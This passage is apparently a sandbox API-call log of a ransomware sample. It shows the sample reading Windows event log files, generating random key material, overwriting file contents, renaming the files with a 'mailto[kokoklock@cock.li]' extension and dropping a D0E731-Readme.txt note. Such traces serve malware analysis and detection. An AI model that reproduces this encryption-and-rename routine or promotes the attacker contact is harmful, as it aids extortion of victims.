[0063.754] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0063.754] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.754] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55c4368 [0063.754] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.754] ReadFile (in: hFile=0x3b0, lpBuffer=0x55c4368, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa42f9b8, lpOverlapped=0x0 | out: lpBuffer=0x55c4368*, lpNumberOfBytesRead=0xa42f9b8*=0x4096, lpOverlapped=0x0) returned 1 [0063.977] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.977] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0063.977] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0063.977] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4760 [0063.977] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4760) returned 1 [0063.978] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0063.978] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4760 [0063.978] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4800 [0063.978] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4800) returned 1 [0063.978] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0063.978] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0063.978] WriteFile (in: hFile=0x3b0, lpBuffer=0x3475830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa42f9b8, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesWritten=0xa42f9b8*=0x4096, lpOverlapped=0x0) returned 1 [0063.978] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0063.978] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.978] WriteFile (in: hFile=0x3b0, lpBuffer=0x33e4760*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa42f9f0, lpOverlapped=0x0 | out: lpBuffer=0x33e4760*, lpNumberOfBytesWritten=0xa42f9f0*=0x20, lpOverlapped=0x0) returned 1 [0063.979] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4760) returned 1 [0063.979] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55c4368) returned 1 [0063.979] WriteFile (in: hFile=0x3b0, lpBuffer=0x33efb08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa42fa04, lpOverlapped=0x0 | out: lpBuffer=0x33efb08*, lpNumberOfBytesWritten=0xa42fa04*=0x8, lpOverlapped=0x0) returned 1 [0063.979] WriteFile (in: hFile=0x3b0, lpBuffer=0xa42fa1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa42fa04, lpOverlapped=0x0 | out: lpBuffer=0xa42fa1c*, lpNumberOfBytesWritten=0xa42fa04*=0x4, lpOverlapped=0x0) returned 1 [0063.980] WriteFile (in: hFile=0x3b0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa42fa04, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xa42fa04*=0x4, lpOverlapped=0x0) returned 1 [0063.980] WriteFile (in: hFile=0x3b0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa42fa04, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xa42fa04*=0x6c, lpOverlapped=0x0) returned 1 [0063.980] WriteFile (in: hFile=0x3b0, lpBuffer=0x33efae0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa42fa04, lpOverlapped=0x0 | out: lpBuffer=0x33efae0*, lpNumberOfBytesWritten=0xa42fa04*=0x20, lpOverlapped=0x0) returned 1 [0063.980] WriteFile (in: hFile=0x3b0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa42fa04, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xa42fa04*=0x4, lpOverlapped=0x0) returned 1 [0063.980] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efae0) returned 1 [0063.980] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd10) returned 1 [0063.980] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efb08) returned 1 [0063.980] CloseHandle (hObject=0x3b0) returned 1 [0064.492] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa8) returned 0x33ce9d8 [0064.492] wcscpy (in: _Dest=0x33ce9d8, _Source="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" [0064.492] wcscat (in: _Dest=0x33ce9d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731" [0064.492] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.583] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.583] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce9d8) returned 1 [0064.583] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx", dwFileAttributes=0x20) returned 0 [0064.583] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34344a8 [0064.583] wcscpy (in: _Dest=0x34344a8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.583] wcscat (in: _Dest=0x34344a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.583] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.583] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34344a8) returned 1 [0064.584] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cfb48) returned 1 [0064.584] RtlExitUserThread (Status=0x1) Thread: id = 177 os_tid = 0x113c [0063.437] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20 [0063.786] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0063.787] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b8 [0063.787] GetFileSizeEx (in: hFile=0x7b8, lpFileSize=0xa4afb0c | out: lpFileSize=0xa4afb0c*=69632) returned 1 [0063.787] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.787] ReadFile (in: hFile=0x7b8, lpBuffer=0xa4afae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa4afadc, lpOverlapped=0x0 | out: lpBuffer=0xa4afae0*, lpNumberOfBytesRead=0xa4afadc*=0x4, lpOverlapped=0x0) returned 1 [0064.248] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.248] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea78 [0064.248] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be730 [0064.248] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be758 [0064.248] NtQuerySystemTime (in: CurrentTime=0xa4afab8 | out: CurrentTime=0xa4afab8*=132121176221444854) returned 0x0 [0064.248] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0xc63d641a [0064.248] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0xcc601f6d [0064.248] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0xcc631b28 [0064.248] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0x5632c896 [0064.248] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0xb248aca8 [0064.248] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0x4f110999 [0064.248] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0xc01cd4 [0064.248] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0x95761d22 [0064.248] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0xf5c7cd05 [0064.248] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0x4c167770 [0064.248] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0x7b513233 [0064.248] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0x266c23e8 [0064.248] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0x74b38c68 [0064.248] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0x9a77bfa0 [0064.249] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0x22c778f0 [0064.249] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0x91348106 [0064.249] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0x78591c0b [0064.249] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0x251cae83 [0064.249] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0xbc05d258 [0064.249] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0x3d40524b [0064.249] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0xeb2767d0 [0064.249] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0xddcd3f53 [0064.249] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0x2635c2d5 [0064.249] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0xf217b70 [0064.249] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0x14fe02e5 [0064.249] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0x860a4a62 [0064.249] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0x65592c3 [0064.249] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0xc7443361 [0064.249] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0x3aa6c7e6 [0064.249] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0x973804dc [0064.249] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0x1139963a [0064.249] RtlRandom (in: Seed=0xa4afac4 | out: Seed=0xa4afac4) returned 0x23108269 [0064.258] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be7a8 [0064.260] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.261] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be7d0 [0064.261] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.261] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bea78) returned 1 [0064.261] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x560cea8 [0064.262] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.262] ReadFile (in: hFile=0x7b8, lpBuffer=0x560cea8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa4afa90, lpOverlapped=0x0 | out: lpBuffer=0x560cea8*, lpNumberOfBytesRead=0xa4afa90*=0x4096, lpOverlapped=0x0) returned 1 [0064.400] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.401] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0064.401] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.401] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efae0 [0064.401] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efae0) returned 1 [0064.401] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.401] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0064.401] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa40 [0064.401] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa40) returned 1 [0064.401] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.401] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0064.401] WriteFile (in: hFile=0x7b8, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa4afa90, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xa4afa90*=0x4096, lpOverlapped=0x0) returned 1 [0064.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.402] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.402] WriteFile (in: hFile=0x7b8, lpBuffer=0x33efce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa4afac8, lpOverlapped=0x0 | out: lpBuffer=0x33efce8*, lpNumberOfBytesWritten=0xa4afac8*=0x20, lpOverlapped=0x0) returned 1 [0064.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efce8) returned 1 [0064.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x560cea8) returned 1 [0064.402] WriteFile (in: hFile=0x7b8, lpBuffer=0x34be7d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa4afadc, lpOverlapped=0x0 | out: lpBuffer=0x34be7d0*, lpNumberOfBytesWritten=0xa4afadc*=0x8, lpOverlapped=0x0) returned 1 [0064.402] WriteFile (in: hFile=0x7b8, lpBuffer=0xa4afaf4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa4afadc, lpOverlapped=0x0 | out: lpBuffer=0xa4afaf4*, lpNumberOfBytesWritten=0xa4afadc*=0x4, lpOverlapped=0x0) returned 1 [0064.402] WriteFile (in: hFile=0x7b8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa4afadc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xa4afadc*=0x4, lpOverlapped=0x0) returned 1 [0064.402] WriteFile (in: hFile=0x7b8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa4afadc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xa4afadc*=0x6c, lpOverlapped=0x0) returned 1 [0064.402] WriteFile (in: hFile=0x7b8, lpBuffer=0x34be730*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa4afadc, lpOverlapped=0x0 | out: lpBuffer=0x34be730*, lpNumberOfBytesWritten=0xa4afadc*=0x20, lpOverlapped=0x0) returned 1 [0064.402] WriteFile (in: hFile=0x7b8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa4afadc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xa4afadc*=0x4, lpOverlapped=0x0) returned 1 [0064.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be730) returned 1 [0064.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be7a8) returned 1 [0064.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be7d0) returned 1 [0064.402] CloseHandle (hObject=0x7b8) returned 1 [0064.489] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33cded8 [0064.489] wcscpy (in: _Dest=0x33cded8, _Source="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" [0064.489] wcscat (in: _Dest=0x33cded8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0064.489] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.522] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.522] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cded8) returned 1 [0064.522] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0064.522] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34344a8 [0064.523] wcscpy (in: _Dest=0x34344a8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.523] wcscat (in: _Dest=0x34344a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.523] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.523] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34344a8) returned 1 [0064.523] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3a58) returned 1 [0064.523] RtlExitUserThread (Status=0x1) Thread: id = 178 os_tid = 0x1140 [0063.438] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20 [0063.785] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx", dwFileAttributes=0x20) returned 1 [0063.785] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b4 [0063.785] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0xa52fb08 | out: lpFileSize=0xa52fb08*=69632) returned 1 [0063.785] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.785] ReadFile (in: hFile=0x7b4, lpBuffer=0xa52fadc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa52fad8, lpOverlapped=0x0 | out: lpBuffer=0xa52fadc*, lpNumberOfBytesRead=0xa52fad8*=0x4, lpOverlapped=0x0) returned 1 [0064.234] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.234] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea78 [0064.234] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be780 [0064.234] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be6b8 [0064.234] NtQuerySystemTime (in: CurrentTime=0xa52fab4 | out: CurrentTime=0xa52fab4*=132121176221302269) returned 0x0 [0064.234] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0x47d8a63c [0064.234] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0x43c726c7 [0064.234] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0xd6846d2d [0064.234] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0x6868db20 [0064.234] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0xae81fc4d [0064.234] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0xdcf3a0cf [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0xd0742a57 [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0xcd10b5c3 [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0x737f357a [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0xe1b7ea94 [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0x45b37be [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0x6b04bc4 [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0x65f9785e [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0xe1ab07aa [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0x172e9d92 [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0x91601e [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0xdcb92494 [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0x9c19e34c [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0xfefb76f4 [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0x65977042 [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0x481f208b [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0xd719f6b3 [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0xd0a4871 [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0xe8f0ab73 [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0x853a28b6 [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0xa5b86238 [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0xed64fefd [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0x3ab737b1 [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0x9829d5a2 [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0xbd8ba514 [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0x428558f9 [0064.235] RtlRandom (in: Seed=0xa52fac0 | out: Seed=0xa52fac0) returned 0xff45552c [0064.244] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be6e0 [0064.246] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0064.246] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be708 [0064.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0064.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bea78) returned 1 [0064.246] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5608e08 [0064.247] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.247] ReadFile (in: hFile=0x7b4, lpBuffer=0x5608e08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa52fa8c, lpOverlapped=0x0 | out: lpBuffer=0x5608e08*, lpNumberOfBytesRead=0xa52fa8c*=0x4096, lpOverlapped=0x0) returned 1 [0064.395] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcf20 [0064.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0064.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa68 [0064.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa68) returned 1 [0064.396] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.397] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0064.397] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd60 [0064.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd60) returned 1 [0064.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0064.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcf20) returned 1 [0064.397] WriteFile (in: hFile=0x7b4, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa52fa8c, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xa52fa8c*=0x4096, lpOverlapped=0x0) returned 1 [0064.397] RtlFreeHeap 